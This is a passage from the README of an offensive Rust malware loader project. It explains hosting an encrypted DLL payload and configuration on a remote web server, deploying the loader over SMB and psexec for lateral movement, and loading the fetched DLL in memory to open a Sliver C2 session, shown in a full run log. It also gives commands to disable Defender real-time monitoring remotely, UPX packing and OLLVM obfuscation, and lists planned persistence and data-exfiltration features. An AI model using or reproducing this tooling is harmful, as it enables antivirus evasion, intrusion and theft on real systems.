overlord.exe overlord.c -L. 507 | ``` 508 | 509 | You should have overlord.exe and malleable_rust_loader.dll in the same directory to make this work. 510 | The generated dll could be used with DllHijack techniques (also called Dll). see https://hijacklibs.net/ for known exe+dll and the correspondig EntryPoint. 511 | 512 | ## 5. Deploy config and payload 513 | 514 | This part is up to you. 515 | you should deploy config file and payload manually in the infrastructure (web serveur/c2, etC...) 516 | It's not part of the project today. Wait next release 2.0 for this. 517 | 518 | For example, in the previous config sample shown in this doc, you should put a first reload config here : 519 | https://kaboum.xyz/artdonjon/gobelin.html and an encrypted DLL here : https://kaboum.xyz/artdonjon/donjon_dll.jpg 520 | 521 | 522 | 523 | # Side scripts 524 | 525 | This part define side script and commands to help you 526 | 527 | ## Winrust 528 | 529 | `winrust.py`, is a script that could help you to easily: 530 | - cross-compile from linux to Windows 531 | - deploy exe with SMB into a Windows host 532 | - and run it with psexec.py (or other impacket lateral movement script) 533 | 534 | Moreover, this script help you for debugging by adding output, perform OLLVM compilation and add payload memory in the laoder at compile time. 535 | 536 | ``` 537 | └─$ winrust --help 538 | usage: winrust [-h] [--mem1] [--mem2] [--mem3] [--mem4] [-exec_target EXEC_TARGET] [-exec_method EXEC_METHOD] [--ollvm] 539 | [--release] [--log] [--verbose] 540 | bin 541 | 542 | Tools to help from Linux to compile rust code Windows and then exec it into a Windows host by uploading with SMB + use some some 543 | impacket LateralMovement techniques 544 | 545 | positional arguments: 546 | bin target bin 547 | 548 | options: 549 | -h, --help show this help message and exit 550 | --mem1 add a file in MEMORY_1 at compilation time, file should be located here: ~/.malleable/config/mem1 551 | --mem2 add a file in MEMORY_2 at compilation time, file should be located here: ~/.malleable/config/mem2 552 | --mem3 add a file in MEMORY_3 at compilation time, file should be located here: ~/.malleable/config/mem3 553 | --mem4 add a file in MEMORY_4 at compilation time, file should be located here: ~/.malleable/config/mem4 554 | -exec_target EXEC_TARGET 555 | [[domain/]username[:password]@], by default use the content of ~/.exec 556 | -exec_method EXEC_METHOD 557 | Method to execute on the Windows side, default psexec.py 558 | --ollvm OLLVM obfuscation, add the release flag automatically 559 | --release activate the cargo release mode for compilation, sinon its debug 560 | --log, --debug activate the agent debug log into STDOUT, you should also activate rust loggin via env variable: setx 561 | RUST_LOG info /m + setx RUST_LOG info 562 | --verbose, -v verbose execution 563 | 564 | by Brother 565 | ``` 566 | 567 | -> be carefull, **psexec.py** is catch by Antivirus Defender but have the advantage of sending live output during execution wish is very important to debug. 568 | if you want to test against this antivirus, you can switch to **atexex.py**, you will have output but at the end of the execution. However, you also could run it manually via RDP. 569 | 570 | 571 | example of winrust usage (you should add the --debug option to have output for debugging) : 572 | 573 | ``` 574 | ┌──(user㉿DRACONYS)-[~/malleable-rust-loader] 575 | └─$ winrust loader --debug 576 | 2024-11-13 08:10:15,909 INFO [+] NORMAL Compilation 577 | 2024-11-13 08:10:15,909 INFO cargo build --target x86_64-pc-windows-gnu --bin "loader" --features info 578 | Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.19s 579 | 2024-11-13 08:10:16,153 INFO [+] compilation succeed 580 | 2024-11-13 08:10:16,160 INFO -rwxrwxr-x 2 user user 113M Nov 13 08:07 target/x86_64-pc-windows-gnu/debug/loader.exe 581 | 2024-11-13 08:10:16,170 INFO target/x86_64-pc-windows-gnu/debug/loader.exe: PE32+ executable (console) x86-64, for MS Windows, 24 sections 582 | 2024-11-13 08:10:16,475 INFO a662eb2c547ed9b9050ec57f7af4132261d4b855f32bdcbcc4484e8fb2df5ef6 target/x86_64-pc-windows-gnu/debug/loader.exe 583 | 2024-11-13 08:10:16,627 INFO 198652096989789263e405449e428e3c177cfbf9 target/x86_64-pc-windows-gnu/debug/loader.exe 584 | 2024-11-13 08:10:16,683 INFO [+] upload file via SMB into target 585 | Impacket v0.11.0 - Copyright 2023 Fortra 586 | 587 | Type help for list of commands 588 | # # # -rw-rw-rw- 117551412 Wed Nov 13 08:10:19 2024 loader-c00219d5113940bfb537ffb24db777b3.exe 589 | # 2024-11-13 08:10:19,906 INFO [+] exec c:\loader-c00219d5113940bfb537ffb24db777b3.exe with psexec.py 590 | Impacket v0.11.0 - Copyright 2023 Fortra 591 | 592 | [*] Requesting shares on 192.168.56.23..... 593 | [*] Found writable share ADMIN$ 594 | [*] Uploading file vHqTQByx.exe 595 | [*] Opening SVCManager on 192.168.56.23..... 596 | [*] Creating service fERt on 192.168.56.23..... 597 | [*] Starting service fERt..... 598 | [!] Press help for extra shell commands 599 | [2024-11-13T07:10:20Z INFO loader] [+] DECRYPT initial config 600 | [2024-11-13T07:10:20Z INFO loader] [+] DECRYPTED! 601 | [2024-11-13T07:10:20Z INFO loader] [+] VERIFY initial config 602 | [2024-11-13T07:10:20Z INFO loader] [+] VERIFIED! 603 | 604 | [2024-11-13T07:10:20Z INFO loader] [+] BEGIN LOOP 1 -------------------------------------------------------- 605 | list: ["DEBUG-W10"], operator: OR }), DomainJoin(DomainJoin { list: ["sevenkingdoms.local", "essos.local"], operator: AND })], sign_material: SignMaterial { peer_public_key_bytes: [112, 194, 204, 237, 240, 179, 23, 52, 29, 200, 231, 54, 135, 93, 42, 235, 33, 229, 186, 79, 214, 25, 90, 188, 100, 202, 160, 18, 211, 143, 90, 18], sign_bytes: [202, 177, 192, 91, 55, 252, 77, 88, 46, 133, 18, 112, 170, 14, 35, 198, 103, 242, 155, 109, 176, 215, 83, 56, 87, 4, 215, 134, 54, 174, 116, 205, 232, 139, 143, 233, 229, 119, 59, 185, 107, 179, 101, 244, 157, 41, 96, 189, 204, 209, 225, 34, 137, 61, 183, 109, 144, 156, 195, 35, 204, 167, 88, 12] }, sleep: 1, jitt: 1 } 606 | [2024-11-13T07:10:20Z INFO malleable_rust_loader::loaderconf] sleep: 1.4779852741068524 607 | [2024-11-13T07:10:22Z INFO loader] [+] DEFUSE RELOAD config 608 | [2024-11-13T07:10:22Z INFO malleable_rust_loader::loaderconf] 1/1 defuse: CheckInternet(CheckInternet { list: ["https://www.microsoft.com", "https://google.com", "https://login.microsoftonline.com"], operator: AND }) 609 | [2024-11-13T07:10:22Z INFO malleable_rust_loader::link] sleep: 1.6500650048148768 610 | [2024-11-13T07:10:24Z INFO loader] [+] RELOAD config 611 | [2024-11-13T07:10:24Z INFO loader] 1/2 config link: HTTP(HTTPLink { url: "https://kaboum.xyz/artdonjon/gobelin.html", dataoperation: [WEBPAGE, BASE64], sleep: 0, jitt: 0 }) 612 | [2024-11-13T07:10:24Z INFO malleable_rust_loader::link] sleep: 0 613 | [2024-11-13T07:10:24Z INFO loader] verify signature: true 614 | [2024-11-13T07:10:24Z INFO loader] same loader: true 615 | [2024-11-13T07:10:24Z INFO loader] [+] DECISION: keep the same active LOADER, and run the payloads 616 | [2024-11-13T07:10:24Z INFO loader] [+] DEFUSE payload exec 617 | [2024-11-13T07:10:24Z INFO malleable_rust_loader::loaderconf] 1/2 defuse: Hostname(Hostname { list: ["DEBUG-W10"], operator: OR }) 618 | [2024-11-13T07:10:24Z INFO malleable_rust_loader::loaderconf] 2/2 defuse: DomainJoin(DomainJoin { list: ["sevenkingdoms.local", "essos.local"], operator: AND }) 619 | [2024-11-13T07:10:24Z INFO loader] [+] PAYLOADS exec 620 | [2024-11-13T07:10:24Z INFO malleable_rust_loader::loaderconf] 1/1 payload: DllFromMemory(DllFromMemory { link: HTTP(HTTPLink { url: "https://kaboum.xyz/artdonjon/donjon_dll.jpg", dataoperation: [AES(AesMaterial { key_bytes: [100, 7, 159, 177, 160, 143, 247, 73, 181, 159, 214, 81, 14, 49, 140, 153, 172, 173, 53, 223, 224, 148, 237, 97, 223, 41, 6, 110, 8, 112, 20, 233], associated_data: [], nonce: 751301581, tag: [105, 138, 234, 91, 135, 162, 172, 126, 187, 13, 130, 83, 80, 91, 3, 137] })], sleep: 0, jitt: 0 }), dll_entrypoint: "DllInstall" }) 621 | [2024-11-13T07:10:24Z INFO malleable_rust_loader::link] sleep: 0 622 | [2024-11-13T07:10:25Z WARN malleable_rust_loader::payload] Map DLL in memory 623 | [2024-11-13T07:10:25Z WARN malleable_rust_loader::payload] Retreive DLL entrypoint: DllInstall 624 | [2024-11-13T07:10:25Z WARN malleable_rust_loader::payload] dll_entry_point() 625 | ``` 626 | 627 | And we got a session in Sliver ! 628 | 629 | ![Sliver session](doc/sliver_session.png?raw=true "Kaboum!") 630 | 631 | 632 | ## Stop Antivirus 633 | 634 | You could stop antivirus to debug with psexec.py and reactivate it with this commandline: 635 | 636 | ``` 637 | alias avup="wmiexec.py -shell-type powershell $(cat ~/.exec) 'Set-MpPreference -DisableRealtimeMonitoring \$false'" 638 | alias avdown="wmiexec.py -shell-type powershell $(cat ~/.exec) 'Set-MpPreference -DisableRealtimeMonitoring \$true'" 639 | ``` 640 | 641 | ## reduced size and PACK with UPX 642 | 643 | ``` 644 | sudo upx -9 -v --ultra-brute target/x86_64-pc-windows-gnu/release/loader.exe 645 | ``` 646 | 647 | 648 | # Roadmap 649 | 650 | 651 | - infra as code to deploy or redeploy config and payload stage -> v2.0 652 | - more payload, persistence payloads, reconnaissance payloads 653 | - collect data and send to C2 with a special payload : TODO 654 | - find a way to sends logs into a C2, could be nice for error 655 | - more Link to fetch data : DNS + WebSocket 656 | - new check.rs binary to verify configuration file before or after signing 657 | - Network redirector to modify the traffic behavior of an implant (listen 127.0.0.1 -> redirect to C2) -> could be done with wstunnel 658 | - [X] stegano for DataOperation, hide config and payload into nice harmless pictures -> Done 16/11/2024 659 | - More way to defeat static analysis -> tricks are welcome! 660 | 661 | 662 | # Credits and Thanks 663 | 664 | - Thanks to Victor P. for is perfect knowledge of Rust. 665 | - Thanks to this awesome dockerisation of the OLLVM project https://github.com/joaovarelas/Obfuscator-LLVM-16.0 . https://vrls.ws/posts/2023/06/obfuscating-rust-binaries-using-llvm-obfuscator-ollvm/ 666 | - Thanks to https://github.com/fancycode/MemoryModule and [memorymodule-rs](https://lib.rs/crates/memorymodule-rs) 667 | - Thanks to https://github.com/naksyn/Pyramid + https://github.com/naksyn/Embedder 668 | - And thanks to the very nice Rust community helping me well !! 669 | 670 | 671 | # Licence 672 | 673 |

Malleable rust loader by Brother-x86 is licensed under Creative Commons Attribution 4.0 International

--------------------------------------------------------------------------------